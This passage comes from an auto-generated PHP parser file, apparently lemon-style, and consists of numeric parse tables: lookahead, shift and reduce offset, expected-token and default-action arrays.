     44,   15,   46,  100,   48,   26,   50,   51,   14,   53,
     71,   32,   17,   74,   58,   59,    9,   10,   11,   12,
     81,   14,   34,   16,   36,   18,   19,   20,   82,  107,
     44,   35,   25,   94,   71,   95,   29,   30,   31,   44,
     33,   78,   35,   47,   81,   38,   51,   53,   41,   42,
     43,   44,   15,   46,   71,   48,   16,   50,   51,   22,
     53,   78,   79,    1,   81,   58,   59,    9,   10,   11,
     12,   15,   14,   17,   16,    1,   18,   19,   20,   66,
     34,   68,   36,   25,   16,   71,   44,   29,   30,   31,
     28,   33,   78,   35,   52,   81,   38,   62,   63,   41,
     42,   43,   44,   47,   46,    6,   48,    8,   50,   51,
     16,   53,   73,    1,    2,   40,   58,   59,    9,   10,
     11,   12,   83,   14,   77,   16,   52,   18,   19,   20,
     98,   99,   52,   95,   25,   97,   97,   92,   29,   30,
     31,   77,   33,   49,   35,  100,   14,   38,   16,  102,
     41,   42,   43,   44,   73,   46,   14,   48,   14,   50,
     51,   36,   53,   73,   83,    1,  102,   58,   59,    9,
     10,   11,   12,   83,   14,   17,   16,   50,   18,   19,
     20,   17,   71,   64,   65,   25,   73,   97,   15,   29,
     30,   31,   81,   33,   26,   35,   83,   53,   38,   73,
     32,   41,   42,   43,   44,   47,   46,   92,   48,   83,
     50,   51,   95,   53,   97,  100,   98,   99,   58,   59,
      9,   10,   11,   12,   23,   14,   52,   16,   16,   18,
     19,   20,   16,    7,   50,   16,   25,   13,   13,   16,
     29,   30,   31,   16,   33,   16,   35,   33,   33,   38,
     44,   16,   41,   42,   43,   44,   35,   46,   16,   48,
     95,   50,   51,   96,   53,   37,   38,   39,   81,   58,
     59,   66,   67,   68,   69,   83,   71,   72,   95,   74,
     75,   76,   54,   55,   56,   57,   81,   97,   60,   84,
     95,   13,   17,   80,   89,   90,   91,    1,   93,   94,
      2,   81,  103,   66,   67,   68,   69,   99,   71,   72,
    108,   74,   75,   76,   81,   37,   38,   39,   81,  108,
    108,   84,  108,  108,  108,   95,   89,   90,   91,  108,
     93,   94,   54,   55,   56,   57,   66,  108,   68,  108,
    108,   71,  108,  108,   74,   75,   76,  108,  108,   21,
    108,   81,  108,  108,   84,    9,  108,  108,   12,   89,
     90,   91,   16,   93,   94,   37,   38,   39,  108,  108,
    108,   66,   26,   68,  104,  105,   71,  108,   32,   74,
     75,   76,   54,   55,   56,   57,   81,    1,  108,   84,
     73,  108,  108,  108,   89,   90,   91,  108,   93,   94,
     83,    2,   85,   86,   87,  108,  108,  108,  108,  104,
    105,  108,   26,    3,    4,    5,    6,  108,   32,    9,
     10,   11,   12,  108,  108,   14,  108,   16,   18,   19,
     20,  108,  108,  108,   35,   25,   37,   38,   39,   29,
     30,   31,   66,  108,   68,   69,   47,   71,   72,  108,
     74,   75,   76,   54,   55,   56,   57,   81,  108,   48,
     84,   50,  108,  108,   53,   89,   90,   91,  108,   93,
     94,    3,  108,  108,  108,  108,  108,    9,   10,   11,
     12,  108,   14,  108,  108,  108,   18,   19,   20,  108,
    108,   13,  108,   25,   27,  108,  108,   29,   30,   31,
    108,  108,  108,    3,   37,   38,   39,  108,  108,    9,
     10,   11,   12,  108,   14,   37,   38,   39,   18,   19,
     20,   54,   55,   56,   57,   25,  108,   59,   60,   29,
     30,   31,   54,   55,   56,   57,  108,  108,   66,  108,
     68,  108,    1,   71,  108,  108,   74,   75,   76,  108,
    108,  108,  108,   81,   13,  108,   84,  108,  108,   59,
     60,   89,   90,   91,  108,   93,   94,   26,  108,  108,
     66,  108,   68,   32,  108,   71,  108,  105,   74,   75,
     76,   66,   78,   68,  108,   81,   71,  108,   84,   74,
     75,   76,  108,   89,   90,   91,   81,   93,   94,   84,
      9,  108,  108,   12,   89,   90,   91,   16,   93,   94,
     66,  108,   68,  108,  108,   71,  101,  108,   74,   75,
     76,  108,  108,  108,  108,   81,  108,  108,   84,    9,
    108,  108,   12,   89,   90,   91,   16,   93,   94,   66,
     49,   68,  108,  108,   71,  101,  108,   74,   75,   76,
     66,   78,   68,  108,   81,   71,  108,   84,   74,   75,
     76,  108,   89,   90,   91,   81,   93,   94,   84,   49,
    108,  108,  108,   89,   90,   91,  108,   93,   94,   66,
    108,   68,   73,  108,   71,  101,   77,   74,   75,   76,
    108,  108,   83,  108,   81,  108,  108,   84,    9,  108,
    108,   12,   89,   90,   91,   16,   93,   94,   66,  108,
     68,  102,  108,   71,  108,  108,   74,   75,   76,   66,
    108,   68,  108,   81,   71,  108,   84,   74,   75,   76,
    108,   89,   90,   91,   81,   93,   94,   84,   49,    1,
    108,  108,   89,   90,   91,  108,   93,   94,   66,  108,
     68,   13,  108,   71,  108,  108,   74,   75,   76,  108,
    108,  108,  108,   81,   26,  108,   84,  108,  108,  108,
     32,   89,   90,   91,  108,   93,   94,   66,  108,   68,
    108,  108,   71,  108,  108,   74,   75,   76,   66,  108,
     68,  108,   81,   71,  108,   84,   74,   75,   76,  108,
     89,   90,   91,   81,   93,   94,   84,  108,  108,  108,
     73,   89,   90,   91,   77,   93,   94,   66,  108,   68,
     83,  108,   71,  108,  108,   74,   75,   76,  108,  108,
    108,  108,   81,  108,  108,   84,  108,  108,  108,  102,
     89,   90,   91,  108,   93,   94,   66,  108,   68,  108,
    108,   71,  108,  108,   74,   75,   76,   66,  108,   68,
    108,   81,   71,  108,   84,   74,   75,   76,  108,   89,
     90,   91,   81,   93,   94,   84,  108,  108,  108,  108,
     89,   90,   91,  108,   93,   94,   66,  108,   68,  108,
    108,   71,  108,  108,   74,   75,   76,  108,  108,  108,
    108,   81,  108,  108,   84,  108,  108,  108,  108,   89,
     90,   91,  108,   93,   94,   66,  108,   68,  108,  108,
     71,  108,  108,   74,   75,   76,   66,  108,   68,  108,
     81,   71,  108,   84,   74,   75,   76,  108,   89,   90,
     91,   81,   93,   94,   84,  108,  108,  108,  108,   89,
     90,   91,  108,   93,   94,   66,  108,   68,  108,  108,
     71,  108,  108,   74,   75,   76,  108,  108,  108,  108,
     81,  108,  108,   84,  108,  108,  108,  108,   89,   90,
     91,  108,   93,   94,   66,  108,   68,  108,  108,   71,
    108,  108,   74,   75,   76,   66,  108,   68,  108,   81,
     71,  108,   84,   74,   75,   76,  108,   89,   90,   91,
     81,   93,   94,   84,  108,  108,  108,  108,   89,   90,
     91,  108,   93,   94,   66,  108,   68,  108,  108,   71,
    108,  108,   74,   75,   76,  108,  108,  108,  108,   81,
    108,  108,   84,  108,  108,  108,  108,   89,   90,   91,
    108,   93,   94,   66,  108,   68,  108,  108,   71,  108,
    108,   74,   75,   76,   66,  108,   68,  108,   81,   71,
    108,   84,   74,   75,   76,  108,   89,   90,   91,   81,
     93,   94,   84,  108,  108,  108,  108,   89,   90,   91,
    108,   93,   94,   66,  108,   68,  108,  108,   71,  108,
    108,   74,   75,   76,  108,  108,  108,  108,   81,  108,
    108,   84,  108,  108,  108,  108,   89,   90,   91,  108,
     93,   94,   66,  108,   68,  108,  108,   71,  108,  108,
     74,   75,   76,   66,  108,   68,  108,   81,   71,  108,
     84,   74,   75,   76,  108,   89,   90,   91,   81,   93,
     94,   84,  108,  108,  108,  108,   89,   90,   91,  108,
     93,   94,   66,  108,   68,  108,  108,   71,  108,  108,
     74,   75,   76,  108,  108,  108,  108,   81,  108,  108,
     84,  108,  108,  108,  108,   89,   90,   91,  108,   93,
     94,   66,  108,   68,  108,  108,   71,  108,  108,   74,
     75,   76,   66,  108,   68,  108,   81,   71,  108,   84,
     74,   75,   76,  108,   89,   90,   91,   81,   93,   94,
     84,  108,  108,  108,  108,   89,   90,   91,  108,   93,
     94,   66,    1,   68,  108,  108,   71,  108,  108,   74,
     75,   76,  108,  108,   13,  108,   81,  108,   17,   84,
    108,  108,  108,  108,   89,   90,   91,   26,   93,   94,
     66,  108,   68,   32,  108,   71,   35,  108,   74,   75,
    108,   66,  108,   68,  108,   81,   71,  108,   47,   74,
     75,  108,   88,   89,   90,   91,   81,   93,   94,  108,
    108,  108,  108,   88,   89,   90,   91,  108,   93,   94,
     66,  108,   68,    9,  108,   71,   12,  108,   74,   75,
     16,  108,  108,  108,  108,   81,  108,  108,  108,  108,
     26,  108,   28,   89,   90,   91,   32,   93,   94,   66,
    108,   68,  108,  108,   71,  108,  108,   74,   75,  108,
     66,  108,   68,  108,   81,   71,  108,  108,   74,   75,
    108,  108,   89,   90,   91,   81,   93,   94,  108,  108,
    108,  108,  108,   89,   90,   91,  108,   93,   94,   66,
    108,   68,  108,   73,   71,  108,  108,   74,   75,  108,
    108,  108,  108,   83,   81,   85,   86,   87,  108,  108,
    108,  108,   89,   90,   91,  108,   93,   94,   66,  108,
     68,  108,  108,   71,  108,  108,   74,   75,  108,   66,
    108,   68,  108,   81,   71,  108,  108,   74,   75,  108,
    108,   89,   90,   91,   81,   93,   94,  108,  108,  108,
    108,  108,   89,   90,   91,    2,   93,   94,   66,  108,
     68,  108,    9,   71,  108,   12,   74,   75,   15,   16,
     17,  108,  108,   81,  108,  108,  108,  108,  108,  108,
    108,   89,   90,   91,    2,   93,   94,  108,  108,  108,
    108,    9,  108,  108,   12,  108,  108,   44,   16,   17,
     47,    2,   49,  108,   51,  108,  108,   73,    9,  108,
    108,   12,  108,  108,   15,   16,   17,   83,  108,   85,
     86,   87,   24,  108,   26,  108,   44,  108,  108,   47,
     32,   49,  108,   51,   52,   37,   38,   39,  108,  108,
    108,  108,  108,   44,  108,  108,   47,  108,   49,  108,
     51,   26,   54,   55,   56,   57,  108,   32,    2,  108,
    108,  108,   37,   38,   39,    9,  108,  108,   12,  108,
    108,  108,   16,   17,  108,  108,    2,  108,  108,   54,
     55,   56,   57,    9,  108,  108,   12,  108,  108,  108,
     16,   17,  108,  108,  108,   37,   38,   39,  108,  108,
     44,  108,  108,   47,   13,   49,  108,   51,  108,   13,
     52,  108,   54,   55,   56,   57,  108,   13,   44,  108,
      2,   47,  108,   49,  108,   51,  108,  108,   37,   38,
     39,  108,  108,   37,   38,   39,  108,  108,  108,  108,
    108,   37,   38,   39,  108,   54,   55,   56,   57,  108,
     54,   55,   56,   57,  108,   37,   38,   39,   54,   55,
     56,   57,   36,   37,   38,   39,  108,  108,  108,  108,
    108,  108,   54,   55,   56,   57,  108,  108,  108,  108,
     54,   55,   56,   57,    9,  108,  108,   12,   37,   38,
     39,   16,   17,   36,   37,   38,   39,  108,  108,  108,
    108,  108,  108,  108,  108,   54,   55,   56,   57,  108,
    108,   54,   55,   56,   57,  108,  108,  108,  108,   44,
    108,  108,   47,  108,   49,  108,   51,
);
    const YY_SHIFT_USE_DFLT = -22;
    const YY_SHIFT_MAX = 230;
    public static $yy_shift_ofst = array(
    -22,  501,  501,   93,  399,  399,  450,   93,   93,   93,
    399,  450,   -9,   93,   93,   93,   93,   93,   93,  144,
     93,  195,   93,   93,   93,  246,  195,   93,   93,   93,
     93,   93,  297,   93,   93,   93,   93,  348,   42,   42,
     42,   42,   42,   42,   42,   42, 1768, 1795, 1795,  701,
    758, 1521,   80,  676,  113,  790, 1927, 1828, 1896,  568,
    768, 1861,  757, 1866, 1874, 1888,  618,  518, 1921, 1921,
   1921, 1921, 1921, 1921, 1921, 1921, 1921, 1921, 1921, 1921,
   1921, 1921, 1921, 1584,  636,  285,  676,  676,  346,  113,
    113,  402,  700, 1723,   -8,  910,  831,  269, 1028,   51,
      3,    3,  422,  448,  352,  106,  422,  106,  458,  364,
    434,  454,  106,  166,  166,  166,  166,  565,  166,  166,
    166,  586,  565,  166,  166,  -22,  -22, 1752, 1769, 1826,
   1844, 1945,  145,  979,  156,  132,  284,  106,  140,  106,
     30,  140,  140,   30,  106,  106,  106,  140,  106,  106,
    140,  106,  327,  106,  106,  106,  140,  140,  106,  140,
    205,  106,  284,  166,  565,  588,  565,  588,  565,  166,
    166,  -12,  166,  -22,  -22,  -22,  -22,  -22,  -22,  689,
      4,   44,   84,  186,   73,  881,  199,  188,  174,  286,
     48,  336,  384,  389,  332,  142,  -21,   52,  154,   33,
     85,  276,  278,  233,  515,  509,  474,  516,  502,  464,
    491,  415,  417,  432,  514,  370,  463,  506,  365,  513,
    -12,  517,  504,  519,  505,  511,  496,  525,  532,  330,
    358,
);
    const YY_REDUCE_USE_DFLT = -89;
    const YY_REDUCE_MAX = 178;
    public static $yy_reduce_ofst = array(
    325,  527,  495,  666,  595,  560,  863,  874,  834,  805,
    762,  794, 1179, 1455, 1208, 1012, 1386, 1139, 1070, 1110,
   1150, 1219, 1248, 1277, 1288, 1317, 1346, 1357, 1415, 1426,
   1081, 1041, 1001,  972,  943,  932,  903, 1484, 1495, 1622,
   1633, 1662, 1593, 1564, 1553, 1524, 1704,  607, 1590,  178,
     74, 1027,  229,  899,  273,  212,  -22,  -22,  -22,  -22,
    -22,  -22,  -22,  -22,  -22,  -22,  -22,  -22,  -22,  -22,
    -22,  -22,  -22,  -22,  -22,  -22,  -22,  -22,  -22,  -22,
    -22,  -22,  -22,  380,  329,  187,  159,  127,  -52,  253,
    304,   12,  303,  152,  193,  328,   68,   68,   68,  322,
    328,  407,  405,  322,   68,  190,  335,  416,  403,   68,
    401,  354,  371,   68,   68,   68,  337,  322,   68,   68,
     68,   68,  408,   68,   68,   68,  409,  455,  455,  455,
    455,  455,  510,  480,  455,  455,  477,  482,  457,  482,
    473,  457,  457,  485,  482,  482,  482,  457,  482,  482,
    457,  482,  503,  482,  482,  482,  457,  457,  482,  457,
    520,  482,  523,  -88,  498,  489,  498,  489,  498,  -88,
    -88,  -67,  -88,  111,  155,   89,  236,  230,  162,
);
    public static $yyExpectedTokens = array(
         array(),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 52, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(9, 10, 11, 12, 14, 16, 18, 19, 20, 25, 29, 30, 31, 33, 35, 38, 41, 42, 43, 44, 46, 48, 50, 51, 53, 58, 59, ),
         array(24, 26, 32, 37, 38, 39, 54, 55, 56, 57, ),
         array(26, 32, 37, 38, 39, 54, 55, 56, 57, ),
         array(26, 32, 37, 38, 39, 54, 55, 56, 57, ),
         array(14, 16, 48, 50, 53, ),
         array(3, 9, 10, 11, 12, 14, 18, 19, 20, 25, 29, 30, 31, 59, 60, ),
         array(1, 13, 17, 26, 32, 35, 47, ),
         array(14, 16, 50, 53, ),
         array(1, 26, 32, ),
         array(14, 35, 53, ),
         array(3, 9, 10, 11, 12, 14, 18, 19, 20, 25, 29, 30, 31, 59, 60, ),
         array(36, 37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 52, 54, 55, 56, 57, ),
         array(36, 37, 38, 39, 54, 55, 56, 57, ),
         array(13, 37, 38, 39, 54, 55, 56, 57, ),
         array(13, 37, 38, 39, 54, 55, 56, 57, ),
         array(13, 37, 38, 39, 54, 55, 56, 57, ),
         array(27, 37, 38, 39, 54, 55, 56, 57, ),
         array(13, 37, 38, 39, 54, 55, 56, 57, ),
         array(13, 37, 38, 39, 54, 55, 56, 57, ),
         array(2, 37, 38, 39, 54, 55, 56, 57, ),
         array(21, 37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, 60, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(37, 38, 39, 54, 55, 56, 57, ),
         array(9, 12, 16, 26, 28, 32, ),
         array(9, 12, 16, 26, 32, ),
         array(17, 44, 51, ),
         array(1, 26, 32, ),
         array(1, 26, 32, ),
         array(15, 17, 47, ),
         array(14, 35, 53, ),
         array(14, 35, 53, ),
         array(1, 2, ),
         array(3, 4, 5, 6, 9, 10, 11, 12, 18, 19, 20, 25, 29, 30, 31, ),
         array(2, 9, 12, 15, 16, 17, 44, 47, 49, 51, ),
         array(12, 14, 16, 53, ),
         array(9, 12, 16, 49, ),
         array(1, 13, 26, 32, ),
         array(1, 13, 26, 32, ),
         array(1, 13, 26, 32, ),
         array(15, 17, 47, ),
         array(9, 12, 16, ),
         array(9, 12, 16, ),
         array(14, 16, ),
         array(17, 47, ),
         array(1, 28, ),
         array(26, 32, ),
         array(14, 16, ),
         array(26, 32, ),
         array(26, 32, ),
         array(1, 52, ),
         array(14, 53, ),
         array(1, 17, ),
         array(26, 32, ),
         array(1, ),
         array(1, ),
         array(1, ),
         array(1, ),
         array(17, ),
         array(1, ),
         array(1, ),
         array(1, ),
         array(1, ),
         array(17, ),
         array(1, ),
         array(1, ),
         array(),
         array(),
         array(2, 9, 12, 16, 17, 44, 47, 49, 51, 52, ),
         array(2, 9, 12, 15, 16, 17, 44, 47, 49, 51, ),
         array(2, 9, 12, 16, 17, 44, 47, 49, 51, ),
         array(2, 9, 12, 16, 17, 44, 47, 49, 51, ),
         array(9, 12, 16, 17, 44, 47, 49, 51, ),
         array(12, 14, 16, 33, 53, ),
         array(9, 12, 16, 49, ),
         array(9, 12, 16, ),
         array(15, 44, 51, ),
         array(14, 53, ),
         array(26, 32, ),
         array(44, 51, ),
         array(26, 32, ),
         array(44, 51, ),
         array(44, 51, ),
         array(44, 51, ),
         array(44, 51, ),
         array(26, 32, ),
         array(26, 32, ),
         array(26, 32, ),
         array(44, 51, ),
         array(26, 32, ),
         array(26, 32, ),
         array(44, 51, ),
         array(26, 32, ),
         array(15, 22, ),
         array(26, 32, ),
         array(26, 32, ),
         array(26, 32, ),
         array(44, 51, ),
         array(44, 51, ),
         array(26, 32, ),
         array(44, 51, ),
         array(12, 35, ),
         array(26, 32, ),
         array(14, 53, ),
         array(1, ),
         array(17, ),
         array(2, ),
         array(17, ),
         array(2, ),
         array(17, ),
         array(1, ),
         array(1, ),
         array(35, ),
         array(1, ),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(2, 35, 37, 38, 39, 47, 54, 55, 56, 57, ),
         array(13, 21, 23, 26, 32, 34, 36, 44, ),
         array(13, 15, 26, 32, 35, 47, ),
         array(13, 22, 26, 32, 45, ),
         array(13, 22, 26, 32, 45, ),
         array(35, 44, 47, 52, ),
         array(9, 12, 16, 49, ),
         array(22, 45, 52, ),
         array(28, 35, 47, ),
         array(22, 45, 60, ),
         array(35, 47, ),
         array(21, 34, ),
         array(34, 36, ),
         array(16, 49, ),
         array(6, 8, ),
         array(44, 52, ),
         array(7, 8, ),
         array(34, 52, ),
         array(35, 47, ),
         array(35, 47, ),
         array(22, 45, ),
         array(34, 36, ),
         array(15, 44, ),
         array(34, 36, ),
         array(34, 36, ),
         array(13, ),
         array(16, ),
         array(50, ),
         array(7, ),
         array(16, ),
         array(52, ),
         array(23, ),
         array(36, ),
         array(50, ),
         array(14, ),
         array(13, ),
         array(52, ),
         array(15, ),
         array(16, ),
         array(40, ),
         array(16, ),
         array(35, ),
         array(16, ),
         array(33, ),
         array(16, ),
         array(33, ),
         array(35, ),
         array(44, ),
         array(16, ),
         array(16, ),
         array(16, ),
         array(16, ),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
         array(),
);
    public static $yy_default = array(
    336,  512,  512,  512,  497,  497,  512,  474,  474,  474,
    512,  512,  512,  512,  512,  512,  512,  512,  512,  512,
    512,  512,  512,  512,  512,  512,  512,  512,  512,  512,
    512,  512,  512,  512,  512,  512,  512,  512,  512,  512,
    512,  512,  512,  512,  512,  512,  377,  377,  356,  512,
    512,  413,  512,  377,  512,  512,  512,  512,  512,  512,
    512,  512,  382,  512,  349,  512,  512,  512,  382,  379,
    389,  388,  384,  402,  473,  397,  498,  500,  401,  361,
    472,  499,  349,  377,  377,  487,  377,  377,  429,  512,
    512,  368,  326,  428,  512,  439,  391,  391,  391,  429,
    439,  439,  512,  429,  391,  377,  512,  377,  377,  391,
    512,  371,  358,  395,  394,  396,  373,  429,  400,  404,
    391,  404,  484,  406,  405,  481,  334,  428,  428,  428,
    428,  428,  512,  441,  439,  455,  512,  363,  435,  354,
    434,  437,  433,  432,  359,  357,  364,  436,  353,  367,
    466,  365,  512,  352,  350,  360,  467,  465,  346,  464,
    439,  366,  512,  369,  461,  475,  488,  476,  485,  372,
    422,  439,  374,  480,  439,  480,  480,  439,  334,  413,
    409,  413,  403,  403,  413,  440,  403,  413,  403,  413,
    512,  512,  512,  332,  409,  512,  512,  512,  423,  403,
    512,  409,  512,  512,  512,  512,  512,  512,  512,  418,
    385,  512,  512,  512,  512,  512,  512,  512,  415,  512,
    455,  512,  512,  512,  411,  486,  409,  512,  512,  512,
    512,  419,  407,  362,  445,  418,  425,  424,  420,  339,
    460,  421,  483,  398,  416,  340,  399,  455,  378,  337,
    338,  330,  328,  329,  442,  443,  444,  438,  392,  393,
    427,  426,  386,  417,  408,  390,  410,  331,  333,  335,
    412,  470,  414,  415,  503,  478,  495,  471,  459,  458,
    375,  457,  344,  462,  508,  493,  376,  496,  456,  509,
    494,  501,  504,  511,  510,  507,  505,  502,  506,  345,
    468,  469,  446,  355,  341,  452,  450,  454,  448,  453,
